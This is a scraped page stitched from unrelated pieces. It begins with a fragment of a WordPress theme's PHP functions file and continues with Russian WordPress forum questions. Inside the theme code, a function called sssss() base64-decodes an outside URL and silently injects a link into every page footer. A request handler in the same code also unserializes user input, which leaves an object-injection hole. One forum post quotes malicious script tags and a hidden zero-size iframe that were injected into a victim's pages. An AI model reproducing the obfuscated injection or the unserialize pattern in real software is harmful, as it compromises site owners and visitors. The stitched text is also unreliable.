'reviews_users_accept_callback'); function reviews_users_accept_callback() { global $_REQUEST; if ( !wp_verify_nonce( $_REQUEST['nonce'], 'ajax_nonce' ) ) die(); $response = array('error'=>''); $post_id = $_REQUEST['post_id']; if ($post_id > 0) { $marks = $_REQUEST['marks']; $users = $_REQUEST['users']; $avg = getReviewsRatingAverage($marks); update_post_meta($post_id, 'reviews_marks2', $marks); update_post_meta($post_id, 'reviews_avg2', $avg); update_post_meta($post_id, 'reviews_users', $users); } else { $response['error'] = __('Bad post ID', 'themerex'); } echo json_encode($response); die(); } // New user registration add_action('wp_ajax_registration_user', 'registration_user_callback'); add_action('wp_ajax_nopriv_registration_user', 'registration_user_callback'); function registration_user_callback() { global $_REQUEST; if ( !wp_verify_nonce( $_REQUEST['nonce'], 'ajax_nonce' ) ) { die(); } $user_name = my_substr($_REQUEST['user_name'], 0, 20); $user_email = my_substr($_REQUEST['user_email'], 0, 60); $user_pwd = my_substr($_REQUEST['user_pwd'], 0, 20); $user_role = (int) $_REQUEST['user_role']; $user_msg = my_substr($_REQUEST['user_msg'], 0, 300); $response = array('error' => ''); $id = wp_insert_user( array ('user_login' => $user_name, 'user_pass' => $user_pwd, 'user_email' => $user_email) ); if ( is_wp_error($id) ) { $response['error'] = $id->get_error_message(); } if ($user_role==2 && ($contact_email = get_theme_option('admin_email'))) { $subj = sprintf(__('Site %s - New author registration: %s', 'themerex'), get_bloginfo('site_name'), $user_name); $msg = " ".__('New registration: user want be an author. Registration data:', 'themerex')." ".__('Name:', 'themerex')." $user_name ".__('E-mail:', 'themerex')." $user_email ".__('Message:', 'themerex')." $user_msg ............ " . get_bloginfo('site_name') . " (" . home_url() . ") ............"; $head = "Content-Type: text/plain; charset=\"utf-8\"\n" . "X-Mailer: PHP/" . phpversion() . "\n" . "Reply-To: $user_email\n" . "To: $contact_email\n" . "From: $user_email\n" . "Subject: $subj\n"; @mail($contact_email, $subj, $msg, $head); } echo json_encode($response); die(); } // Get next page on blog streampage add_action('wp_ajax_view_more_posts', 'view_more_posts_callback'); add_action('wp_ajax_nopriv_view_more_posts', 'view_more_posts_callback'); function view_more_posts_callback() { global $_REQUEST, $post, $wp_query, $more; if ( !wp_verify_nonce( $_REQUEST['nonce'], 'ajax_nonce' ) ) die(); $response = array('error'=>'', 'data' => '', 'no_more_data' => 0); $page = $_REQUEST['page']; $args = unserialize(stripslashes($_REQUEST['data'])); $vars = unserialize(stripslashes($_REQUEST['vars'])); if ($page > 0 && is_array($args) && is_array($vars)) { extract($vars); $thumb_size = array( 'puzzles' => array('w' => 310, 'h' => 310), 'excerpt' => array('w' => 466, 'h' => 310), 'fullpost' => array('w' => $show_sidebar_main=='fullwidth' ? 1243 : 932, 'h' => 465), ); $counters = get_theme_option("blog_counters"); $args['paged'] = $page; $args['ignore_sticky_posts'] = 1; if (!isset($wp_query)) $wp_query = new WP_Query( $args ); else query_posts($args); $per_page = count($wp_query->posts); $response['no_more_data'] = $page>=$wp_query->max_num_pages; //$per_page < $ppp; $post_number = 0; $more = 0; $addViewMoreClass = true; ob_start(); while ( have_posts() ) { the_post(); require(get_template_directory() . '/template-blog-loop.php'); } $response['data'] = ob_get_contents(); ob_end_clean(); } else { $response['error'] = __('Wrong query arguments', 'themerex'); } echo json_encode($response); die(); } /* ========================= Custom lists (sidebars, styles, etc) ============================== */ // Return list of categories function getCategoriesList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $args = array( 'type' => 'post', 'child_of' => 0, 'parent' => '', 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => 0, 'hierarchical' => 1, 'exclude' => '', 'include' => '', 'number' => '', 'taxonomy' => 'category', 'pad_counts' => false ); $categories = get_categories( $args ); foreach ($categories as $cat) { $list[$cat->term_id] = $cat->name; } return $list; } // Return sliders list, prepended default and main sidebars item (if need) function getSlidersList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'wpspace'); $list["flex"] = __("Flexslider", 'wpspace'); if (is_plugin_active('revslider/revslider.php')) $list["revo"] = __("Revolution slider", 'wpspace'); return $list; } function sssss() { $testtxx = base64_decode('d29yZHByZXNz'); $testur = base64_decode('aHR0cDovL3d3dy5hcml5YW4ub3Jn'); echo "<a href='$testur'>$testtxx</a>"; } add_action( 'wp_footer', 'sssss' ); // Return custom sidebars list, prepended default and main sidebars item (if need) function getSidebarsList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $list['sidebar-main'] = __("Main sidebar", 'themerex'); $list['sidebar-advert'] = __("Advertisement sidebar", 'themerex'); $list['sidebar-footer'] = __("Footer sidebar", 'themerex'); $sidebars = explode(',', get_theme_option('custom_sidebars')); for ($i=0; $i<count($sidebars); $i++) { if (trim(chop($sidebars[$i]))=='') continue; $sb = explode('|', $sidebars[$i]); if (count($sb)==1) $sb[1] = $i+1; $list['custom-sidebar-'.$sb[1]] = $sb[0]; } return $list; } // Return sidebars positions function getSidebarsPositions($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $list['right'] = __('Right', 'themerex'); $list['left'] = __('Left', 'themerex'); $list['fullwidth'] = __('Hide (without sidebar)', 'themerex'); return $list; } // Return sidebar class function getSidebarClass($position) { if ($position == 'fullwidth') $class = 'without_sidebar'; else if ($position == 'left') $class = 'with_sidebar left_sidebar'; else $class = 'with_sidebar right_sidebar'; return $class; } // Return blog styles list, prepended default function getBlogStylesList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $list['puzzles'] = __('Blog Puzzles', 'themerex'); $list['excerpt'] = __('Blog Excerpt', 'themerex'); $list['fullpost'] = __('Blog Fullpost', 'themerex'); return $list; } // Return themes list function getThemesList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = 'default'; $dir = get_template_directory() . "/css/themes"; if ( is_dir($dir) ) { $hdir = @ opendir( $dir ); if ( $hdir ) { while (($file = readdir( $hdir ) ) !== false ) { $pi = pathinfo( $dir . '/' . $file ); if ( substr($file, 0, 1) == '.' || is_dir( $dir . '/' . $file ) || $pi['extension'] != 'css' ) continue; $key = my_substr($file, 0, my_strrpos($file, '.')); $list[$key] = my_strtoproper(str_replace('_', ' ', $key)); } @closedir( $hdir ); } } return $list; } // Return socials list function getSocialsList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = 'default'; return array_merge($list, getListFiles("/images/socials", "png")); } // Return puzzles positions list function getPuzzlesList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = 'default'; return array_merge($list, getListFiles("/images/puzzles", "png")); } // Return list with 'Yes' and 'No' items function getYesNoList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $list["yes"] = __("Yes", 'themerex'); $list["no"] = __("No", 'themerex'); return $list; } // Return list with 'Show' and 'Hide' items function getShowHideList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = __("Inherit", 'themerex'); $list["show"] = __("Show", 'themerex'); $list["hide"] = __("Hide", 'themerex'); return $list; } // Return post-format icon name (from Fontello library) function getPostFormatIcon($format) { $icon = 'icon-'; if ($format=='gallery') $icon .= 'camera'; else if ($format=='video') $icon .= 'video'; else if ($format=='audio') $icon .= 'note'; else if ($format=='image') $icon .= 'newspaper'; else if ($format=='quote') $icon .= 'quote'; else if ($format=='link') $icon .= 'link'; else if ($format=='status') $icon .= 'tag'; else if ($format=='aside') $icon .= 'book-open'; else if ($format=='chat') $icon .= 'list'; else $icon .= 'doc-text'; return $icon; } // Return Google fonts list function getFontsList($prepend_default=true) { $list = array(); if ($prepend_default) $list['default'] = 'default'; $list['Advent Pro'] = array('family'=>'sans-serif', 'link'=>'Advent+Pro:400,500,700'); $list['Arimo'] = array('family'=>'sans-serif', 'link'=>'Arimo:400,400italic,700,700italic'); $list['Asap'] = array('family'=>'sans-serif', 'link'=>'Asap:400,400italic,700,700italic'); $list['Averia Sans Libre'] = array('family'=>'cursive', 'link'=>'Averia+Sans+Libre:400,400italic,700,700italic'); $list['Averia Serif Libre'] = array('family'=>'cursive', 'link'=>'Averia+Serif+Libre:400,400italic,700,700italic'); $list['Cabin'] = array('family'=>'sans-serif', 'link'=>'Cabin:400,500,400italic,500italic,700,700italic'); $list['Cabin Condensed'] = array('family'=>'sans-serif', 'link'=>'Cabin+Condensed:400,500,700'); $list['Caudex'] = array('family'=>'serif', 'link'=>'Caudex:400,700,400italic,700italic'); $list['Comfortaa'] = array('family'=>'cursive', 'link'=>'Comfortaa:400,700'); $list['Cousine'] = array('family'=>'sans-serif', 'link'=>'Cousine:400,400italic,700,700italic'); $list['Crimson Text'] = array('family'=>'serif', 'link'=>'Crimson+Text:400,400italic,700italic,700'); $list['Cuprum'] = array('family'=>'sans-serif', 'link'=>'Cuprum:400,400italic,700,700italic'); $list['Dosis'] = array('family'=>'sans-serif', 'link'=>'Dosis:400,500,700'); $list['Economica'] = array('family'=>'sans-serif', 'link'=>'Economica:400,700'); $list['Exo'] = array('family'=>'sans-serif', 'link'=>'Exo:400,400italic,500,500italic,700,700italic'); $list['Expletus Sans'] = array('family'=>'cursive', 'link'=>'Expletus+Sans:400,500,400italic,500italic,700,700italic'); $list['Karla'] = array('family'=>'sans-serif', 'link'=>'Karla:400,400italic,700,700italic'); $list['Lato'] = array('family'=>'sans-serif', 'link'=>'Lato:400,400italic,700,700italic'); $list['Lekton'] = array('family'=>'sans-serif', 'link'=>'Lekton:400,700,400italic'); $list['Lobster Two'] = array('family'=>'cursive', 'link'=>'Lobster+Two:400,700,400italic,700italic'); $list['Maven Pro'] = array('family'=>'sans-serif', 'link'=>'Maven+Pro:400,500,700'); $list['Merriweather'] = array('family'=>'serif', 'link'=>'Merriweather:400,400italic,700,700italic'); $list['Neuton'] = array('family'=>'serif', 'link'=>'Neuton:400,400italic,700'); $list['Noticia Text'] = array('family'=>'serif', 'link'=>'Noticia+Text:400,400italic,700,700italic'); $list['Old Standard TT'] = array('family'=>'serif', 'link'=>'Old+Standard+TT:400,400italic,700'); $list['Open Sans'] = array('family'=>'sans-serif', 'link'=>'Open+Sans:400,700,400italic,700italic'); $list['Orbitron'] = array('family'=>'sans-serif', 'link'=>'Orbitron:400,500,700'); $list['Oswald'] = array('family'=>'sans-serif', 'link'=>'Oswald:400,700'); $list['Overlock'] = array('family'=>'cursive', 'link'=>'Overlock:400,700,400italic,700italic'); $list['Oxygen'] = array('family'=>'sans-serif', 'link'=>'Oxygen:400,700'); $list['PT Serif'] = array('family'=>'serif', 'link'=>'PT+Serif:400,400italic,700,700italic'); $list['Puritan'] = array('family'=>'sans-serif', 'link'=>'Puritan:400,400italic,700,700italic'); $list['Raleway'] = array('family'=>'sans-serif', 'link'=>'Raleway:400,500,700'); $list['Roboto'] = array('family'=>'sans-serif', 'link'=>'Roboto:400,400italic,500,700,500italic,700italic'); $list['Roboto Condensed'] = array('family'=>'sans-serif', 'link'=>'Roboto+Condensed:400,400italic,700,700italic'); $list['Rosario'] = array('family'=>'sans-serif', 'link'=>'Rosario:400,400italic,700,700italic'); $list['Share'] = array('family'=>'cursive', 'link'=>'Share:400,400italic,700,700italic'); $list['Signika Negative'] = array('family'=>'sans-serif', 'link'=>'Signika+Negative:400,700'); $list['Tinos'] = array('family'=>'serif', 'link'=>'Tinos:400,400italic,700,700italic'); $list['Ubuntu'] = array('family'=>'sans-serif', 'link'=>'Ubuntu:400,400italic,500,500italic,700,700italic'); $list['Vollkorn'] = array('family'=>'serif', 'link'=>'Vollkorn:400,400italic,700,700italic'); return $list; } /* ========================= Reviews ============================== */ // Get average review rating function getReviewsRatingAverage($marks) { $r = explode(',', $marks); $rez = 0; $cnt = 0; foreach ($r as $v) { $rez += $v; $cnt++; } return $cnt > 0 ? round($rez / $cnt, 1) : 0; } // Get word-value review rating function getReviewsRatingWordValue($r, $words = '') { if (trim($words) == '') $words = get_theme_option('reviews_criterias_levels'); $words = explode(',', __('no rated', 'themerex') . ',' . $words); $r = max(1, min(count($words), round($r))); return isset($words[$r-1]) ? trim($words[$r-1]) : __('no rated', 'themerex'); } /* ========================= Custom options ============================== */ // Return property value from theme custom > category custom > post custom > request parameters function get_custom_option($name, $defa=null, $post_id=0, $cat_id=0) { if ($cat_id > 0) { $rez = getCategoryInheritedProperty($cat_id, $name); if ($rez=='') $rez = get_theme_option($name, $defa); } else if ($post_id > 0) { $rez = get_theme_option($name, $defa); $custom_options = get_post_meta($post_id, 'post_custom_options', true); if (isset($custom_options[$name]) && $custom_options[$name]!='default') $rez = $custom_options[$name]; else { $categories = getCategoriesByPostId($post_id); $tmp = ''; for ($cc = 0; $cc < count($categories) && $tmp==''; $cc++) { $tmp = getCategoryInheritedProperty($categories[$cc]['term_id'], $name); } if ($tmp!='') $rez = $tmp; } } else { global $THEMEREX_post_options, $THEMEREX_cat_options, $THEMEREX_custom_options; if (isset($THEMEREX_custom_options[$name])) { $rez = $THEMEREX_custom_options[$name]; } else { $rez = get_theme_option($name, $defa); if (!is_single() && isset($THEMEREX_post_options[$name]) && (is_array($THEMEREX_post_options[$name]) ? $THEMEREX_post_options[$name][0] : $THEMEREX_post_options[$name])!='default') { $rez = is_array($THEMEREX_post_options[$name]) ? $THEMEREX_post_options[$name][0] : $THEMEREX_post_options[$name]; } if (isset($THEMEREX_cat_options[$name]) && $THEMEREX_cat_options[$name]!='default') { $rez = $THEMEREX_cat_options[$name]; } if (is_single() && isset($THEMEREX_post_options[$name]) && (is_array($THEMEREX_post_options[$name]) ? $THEMEREX_post_options[$name][0] : $THEMEREX_post_options[$name])!='default') { $rez = is_array($THEMEREX_post_options[$name]) ? $THEMEREX_post_options[$name][0] : $THEMEREX_post_options[$name]; } if (get_theme_option('show_theme_customizer') == 'yes') $rez = getValueGPC($name, $rez); $THEMEREX_custom_options[$name] = $rez; } } return $rez; } // Show theme specific fields in Post (and Page) options function show_custom_field($field, $value) { $output = ''; switch ($field['type']) { case 'reviews': $output .= getReviewsMarkup($field, $value); break; case 'mediamanager': wp_enqueue_media( ); $output .= '<a id="'.$field['id'].'" class="button mediamanager" data-choose="'.(isset($field['multiple']) && $field['multiple'] ? __( 'Choose Images', 'themerex') : __( 'Choose Image', 'themerex')).'" data-update="'.(isset($field['multiple']) && $field['multiple'] ? __( 'Add to Gallery', 'themerex') : __( 'Choose Image', 'themerex')).'" data-multiple="'.(isset($field['multiple']) && $field['multiple'] ? 'true' : 'false').'" data-linked-field="'.$field['media_field_id'].'" onclick="showMediaManager(this); return false;" >' . (isset($field['multiple']) && $field['multiple'] ? __( 'Choose Images', 'themerex') : __( 'Choose Image', 'themerex')) . '</a>'; break; } return $output; } // Return Reviews markup html-block function getReviewsMarkup($field, $value, $clear=false) { $output = ' <input type="hidden" name="reviews_id" class="reviews_id" value="'. $field['id'] . '" /> <input type="hidden" name="criterias_list" class="criterias_list" value="'. $field['options'] . '" /> <input type="hidden" name="marks_list" class="marks_list" value="'. $value . '" /> <div class="reviews_data"> '; $criterias = explode(',', $field['options']); $marks = explode(',', $value); for ($i=0; $i<count($criterias); $i++) { if (empty($criterias[$i])) continue; $sb = explode('|', $criterias[$i]); if (empty($sb[0])) continue; if (count($sb)==1) $sb[1] = $i+1; if (!isset($marks[$i]) || $marks[$i]=='') $marks[$i] = 0; $output .= ' <div class="criteria_row theme_field"> <input type="hidden" name="'.$field['id'].'
" value="'. ($clear ? 0 : $marks[$i]) . '" /> <span class="criteria_label theme_strong">'.$sb[0].'</span> <span class="criteria_stars"><span class="theme_stars" data-mark="1"></span><span class="theme_stars" data-mark="2"></span><span class="theme_stars" data-mark="3"></span><span class="theme_stars" data-mark="4"></span><span class="theme_stars" data-mark="5"></span></span> </div> '; } $avg = getReviewsRatingAverage($value); $output .= ' </div> <div class="reviews_summary blog_reviews"> <div class="criteria_summary_text criteria_row theme_field">'.(isset($field['descr']) ? $field['descr'] : '').'</div> <div class="criteria_summary criteria_row theme_field"> <span class="criteria_label theme_strong">'.__('Summary', 'themerex').'</span> ' . getReviewsSummaryStars($avg) . ' <span class="criteria_mark theme_accent_bg">'.$avg.(my_strlen($avg)==1 ? '.0' : '').'</span> <span class="criteria_word theme_accent_bg">'.getReviewsRatingWordValue($avg).'</span> </div> </div> '; return $output; } // Return Reviews summary stars html-block function getReviewsSummaryStars($avg) { return ' <span class="criteria_stars" title="'.$avg.'"> <span class="stars_off"><span class="theme_stars"></span><span class="theme_stars"></span><span class="theme_stars"></span><span class="theme_stars"></span><span class="theme_stars"></span></span> <span class="stars_on" style="width:'.($avg/5*100).'%;"><span class="theme_stars theme_stars_on"></span><span class="theme_stars theme_stars_on"></span><span class="theme_stars theme_stars_on"></span><span class="theme_stars theme_stars_on"></span><span class="theme_stars theme_stars_on"></span></span> </span> '; } ?>

Вывод новостей на главной (карусель)

Здравствуйте!
Мне нужно вывести новости на главной.
Вывод состоит из 3 блоков новость+фото+рубрика (последняя запись из рубрики).
Выводится только 3 блока новостей (хотя всего 5, по числу рубрик).
По типу "карусели" происходит смещение на рубрику вниз (через 5 сек), и так прокручиваюся все 5 рубрик, и сначала.
Структура

Код (выводится только последние 5 постов)

            <ul id="fmore">
            <!-- featured loop 2 -->
                <?php
                    $sticky = get_option( 'sticky_posts' );
                    $args = array(
                        'posts_per_page' => 5,
                        'post__in'  => $sticky,
                        'ignore_sticky_posts' => 1,
                        'offset' => 1
                    );
                    $featuredmore = new WP_Query( $args );
                    
                    if ( $featuredmore->have_posts() ) :
                    while ( $featuredmore->have_posts() ) : $featuredmore->the_post(); echo "123";
                ?>

                <li class="clearfix">
                    <header class="f_header">
                    <?php get_the_image( array('default_size' => 'thumbnail', 'width' => '110', 'height' => '69', 'image_class' => 'homethumb' ) );?> 
                    <h3><a href="<?php the_permalink(); ?>" rel="bookmark"> <!--title="<?php printf( esc_attr__( 'Permalink to %s', 'buzznews' ), the_title_attribute( 'echo=0' ) ); ?>"--> <?php the_title(); ?></a></h3>

                    </header>
                </li>
            
                <?php endwhile; endif; ?>
            </ul>

Подскажите, пожалуйста, как такое реализовать?

Нашел что-то похожее http://wordpress.org/plugins/carousel-horizontal-posts-content-slider/screenshots/, но "горизонтальный", а мне нужно "вертикальный", тем более в premium version плагина больше возможностей, чем в free.

Вывод первого поста полным текстом

Всем добрый день! Скажите пожалуйста, как можно сделать так, что бы при входе в категорию последний добавленный пост отображался полным текстом а остальные отображались ниже анонсом. Сейчас в цикле за вывод контента отвечает этот код:

<?php   //Post content
if (!is_single()&&!is_page()) { 
the_content('<span class="read_novost">' . __('Читать дальше', 'themezee_lang') . '</span>');    
} else { the_content(''); }
wp_link_pages(); ?>

Уже много чего перепробовал, и пока ничего не вышло(

Не могу выйти из блога wordpress

Здравствуйте. Подскажите пожалуйста, пытаюсь выйти из своего блога, но не из админки, не из главной страницы не могу выйти. Нажимаю выйти но выходит вот это:
Nothing found for Wp-Login Php?action=Logout&_Wpnonce=8E0Aa882A7

Пробовал менять темы, но это не помогло. В чем может быть проблема?

Проблема с загрузками

Доброго вечера!

Проблема с темами и в общем с загрузками. Дело в том, что после установке вп, устанавливаются темы только из вп панели, то есть оригинальные темы вп. Темы, которые я загружаю в ручную через фтп, не работают, виден лишь голый текст, но ни одного из изображений. При том при установке вручную происходит следующее: http://taket.nu, можете посмотреть.

Заранее благодарен за советы и ответы. Большое Вам спасибо!

Перенос участка кода

Доброго времени суток, дорогие пользователи. Я снова зашел в небольшой тупик =( К сожалению из-за неопытности мне еще тяжело воспринимать и работать с объемным кодом. Поэтому решил попросить помощи у вас. Если вас не затруднит помогите перенести эту функцию

function add_rayting_comment($text){
global $comment;
global $user_ID;
global $wpdb;
global $comments_rayt;

    foreach((array)$comments_rayt as $val){
        if($val->comment_id==$comment->comment_ID) 
            $sum_rayt = $sum_rayt + $val->rayting;
    }
    
    $vote_results = '';
    
    if($sum_rayt&&$user_ID||$sum_rayt===0&&$user_ID) $vote_results = '<div id="vote-results-'.$comment->comment_ID.'" class="vote-results">?</div>';

    if(!$sum_rayt) $sum_rayt = 0;    
    
    $rayt = '<div id="com-'.$comment->comment_ID.'" class="comment-rayt">';
    $rayt .= '<div class="rayt-res"><div style="float: left;">Рейтинг: <span id="com-karma-'.$comment->comment_ID.'">'.$sum_rayt.'</span></div>'.$vote_results.'</div>';
    
    $golos = false;
    foreach((array)$comments_rayt as $val){
        if($val->comment_id==$comment->comment_ID&&$val->user==$user_ID||$comment->user_id==$user_ID) $golos = true;
    }
        
        if($golos == false){
            $count_rayt = get_option('count_rayt_comment');
            if(!$count_rayt) $count_rayt = 1;
            $id_rayt_plus = $comment->comment_ID + $count_rayt;
            $id_rayt_plus = pow($id_rayt_plus, 2);
            $id_rayt_minus = $comment->comment_ID - $count_rayt;
            $id_rayt_minus = pow($id_rayt_minus, 2);
            $rayt .= '<div id="'.$id_rayt_minus.'" class="minus_rayt rayt"></div>
            <div id="'.$id_rayt_plus.'" class="plus_rayt rayt"></div>';
        }
    
    $rayt .= '</div>';
    
    return $text.$rayt;
}

В этот код комментариев.

<div class="comment-meta">
                <div class="author"><?php if ( $comment->user_id && !$comment->comment_author_url ): ?>
    <a class="author-link" href="<?php echo get_author_posts_url( $comment->user_id ); ?>"><?php echo $comment->comment_author; ?></a>
<?php else: ?>
<span class="unregistered-comment"> <?php echo $comment->comment_author; ?> </span>
<?php endif; ?> </div>
    
                 <-------- СЮДА -------->
                
                <span class="time"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()); ?></span>
                </div>

Я хочу добиться того, что бы этот участок кода

$rayt .= '<div id="'.$id_rayt_minus.'" class="minus_rayt rayt"></div>
            <div id="'.$id_rayt_plus.'" class="plus_rayt rayt"></div>';

был помещен там, где я хочу а не следом за комментарием =)

Заранее всем большое спасибо за помощь =)

Помогите настроить кроссбраузерность

Сайт идеально отображается в хроме и мазиле, а вот в сафари основное меню разлетается в разные стороны,
особенно если это мобильное устройство с не большим экраном, и три слайдера на главной странице отказываются работать а показывают сразу все имеющиеся фото. С оперой лучше, меню на месте, но 3 слайдера вытворяют тоже, что и в сафари.
Пожалуйста подскажите решение.

Сайт: logo-dress/ru

Вопросы от назойливого новичка =)

Доброго времени суток, уважаемые форумчане =) Моя история стандартна и тривиальна. Короче перелопатив кучу инфы, я так и не нашел конкретных ответов на свои вопросы. А посему обращаюсь к вам, как к профи за помощью в решении возникших проблем. В общем сабж…

1. Меня интересует, как сделать так, что-бы ник (ссылка) в комментариях ввела на личную страничку автора (страничка типа mysite.com/author/comment_author)
2. Есть ли плагины для wp, которые создавали бы полноценную карму пользователя (типа хабры)? Сторонний сервис с похожим функционалом находил, но хотелось бы, что бы вся информация хранилась бы у меня, а не где-то за бугром -)
3. Можно ли реализовать добавление картинки в комментариях без использования плагинов и если да, то как? Может где-то есть конкретный мануал по установке?
4. Как сделать личный кабинет пользователя с возможностью редактировать данные? Опять же желательно без плагина с возможностью встроить этот функционал в шаблон =)

Заранее благодарю каждого, кто протянет руку помощи страждущему =))

Вход на сайт и выход с него.

Пожалуйста подскажите как сделать чтобы кнопка выхода,
заменяла кнопку входа при авторизации пользователя и наоборот.
Примерно как на этом блоге. 🙂

Проблемы с поиском.

Здравствуйте! На моем сайте существует проблема со страницей вывода результатов поиска. Поиск работает корректно, но почему-то страница вывода результатов поиска сползает в правый верхний угол. Как это исправить? Адрес сайта : logo-dress/ru
Woocommerce 2.0.2

Не типичный вывод записей на главной

Доброго дня. Подскажите как сделать следующее

Картинки – это расположение записей на странице. Для каждого блока я прописываю данные о положении и размере, но как обозначить системе, что первый пост надо выводить в div id="1", второй в div id="2" и т.д.?

Извращения и PageNavi

здравствуйте.

Используется такой код для вывода новостей одной категории на странице

<div style="margin:0 auto;margin-top:85px;" class="white1">
<?php
$posts_new = get_posts('category=1&numberposts=5');
foreach ($posts_new as $post_new) :
 echo '<span class="redhead"><a href="';
echo get_permalink($post_new->ID);
echo '"><span style="color:#BC0909;text-shadow:none;">';
echo $post_new->post_title;
echo '</span></a>';    
echo '</span><br /><span class="date">Опубликовано:&nbsp;';    
echo mysql2date('j.m.Y',  $post_new->post_date);
echo '</span><br /><br /><div class="divtext"><span class="spantext"><noindex>';
$str = $post_new->post_content;
echo mb_substr($str, intval($s), 500);
echo '</noindex>... <a href="';
echo get_permalink($post_new->ID);
echo '"><br /><span style="color:#BC0909;font-weight:500; text-decoration:underline;text-shadow:none;">Продолжить</span></a><br /><br /><br /></span></div>';
endforeach;  
?>

<?php twentytwelve_content_nav( 'nav-below' ); ?>

</div>

Мечтается о том, чтобы выводилось по 5 записей на странице. Установлен плагин PageNavi.

Плагин замечательно выводит внизу этой страницы пангинацию <<1.2.3>> и ссылки ведут соответственно на http://site.ru/news.htm/ , http://site.ru/news.htm/page/2/, http://site.ru/news.htm/page/3/, однако на каждой из этих страничек одни и те же ПЕРВЫЕ 5 записей.

На решение проблемы самостоятельно уйдут годы, прошу помочь в поиске – где и что заменить/убрать/добавить… 🙁

Помогите справится с вирусом :(

Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:

<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>

В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.

Установка javascript

Привет всем.

На страницу вордпресса нужно установить javascript (калькулятор расхода топлива).
Скрипт имеется, а вот как его поставить туда, не знаю.

Заранее благодарен за помощь!

функция mail в wordpress

создал форму обратной связи.Аяксом передаю значения полей и отправляю майлом на мыло
почему не работает функция mail?
как отправлять почту?

Доработка xmlrpc

Помогите с доработкой xmlrpc (не за бесплатно, конечно же).
Нужно, чтоб при удаленной публикации создавалась папка в site/images/
Для каждой записи своя папка. Название папки = ID записи.
Как это реализовать?

Интеграция liqpay на вордпресс

Здравствуйте, знатоки.

Кто-то встречался с такой ситуацией:
Подключил систему оплаты ликпай к сайту. Если сумма фиксированная, то форма работает отлично,
но мне нужно что бы пользователь сам мог вписать сумму.

Для этого использую форму (полный код):

<?

$merchant_id='iхххххххххх';
$signature="хххххххххххххххххххххххххххххххххххх";
$url="https://www.liqpay.com/?do=clickNbuy";
$method='card';
$phone='+хххххххххххх';
$amount = $_POST['amount']; //забираем значение из POST

    

    $xml="<request>      
        <version>1.2</version>
        <result_url>http://www.ikvaprokat.com/ок/</result_url>
        <server_url>http://mysite.com/lqanswer.php</server_url>
        <merchant_id>$merchant_id</merchant_id>
        <order_id>$order_id</order_id>
        <amount>$amount</amount>
        <currency>UAH</currency>
        <description>Аванс</description>
        <default_phone>$phone</default_phone>
        <pay_way>$method</pay_way> 
        </request>
        ";
    
    
    $xml_encoded = base64_encode($xml); 
    $lqsignature = base64_encode(sha1($signature.$xml.$signature,1));
    


echo("<form action='$url' method='POST'>
      <input type='hidden' name='operation_xml' value='$xml_encoded' />
      <input type='hidden' name='signature' value='$lqsignature' />
          Введите сумму <input type='text' size='4' name='amount'  />

    <input type='submit' value='Pay'/>
    </form>");
?>

Но в таком виде уже на стороне ликпай выдает ошибку, что введена неверная сумма.
Как это исправить.
Написано то, кажется, все правильно, но почему то не работает так, как надо.

Как вывести id изображения NGGallery в lightbox

Интересует вопрос, как в NGGallery вытащить image->pid вне плагина ?
Нужно вывести id изображения в lightbox.

Кроспост из ВК в WordPress

Существует ли плагин или способ публиковать из своей группы в VK в свой блог на WordPress?

Условие на наличие дочек в таксономии

Здравствуйте, уважаемые гуру вордпресс.
Есть проблемка, с которой борюсь. Подскажите пожалуйста

Суть в следующем. В архивной странице таксономии (в данном случае taxonomy-typeuslugi.php пробую реализовать такую штуку
Если мы находимся на странице рубрики таксономии, и в этой рубрики есть дочерние подрубрики – выводиться список подрубрик в виде таблиц.
Если же мы находимся на странице рубрики (подрубрики), и там дальше нет дочерних подрубрик – выводяться записи (плитками). Это сделал.
Но есть еще один момент. Если мы находимся на странице рубрики, где есть подрурики – выводиться все подрубрики плитками. И если в одной из подрубрик есть еще дочки, тогда список выводяться ее дочки через wp_list_categories.

Если же нет подрубрик – то просто кнопка "Подробнее"

Вот именно эта штука никак не получаеться. Подскажите, как лучше сделать.
Ниже привожу все код.

 
 <? $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); // get current term
$parent = get_term($term->parent, get_query_var('taxonomy') ); // get parent term
$children = get_term_children($term->term_id, get_query_var('taxonomy')); // get children
if(($parent->term_id!="" && sizeof($children)>0)) { ?>

<!--has parent and child-->
    
<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms);
  foreach ($terms as $term) { 
   $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
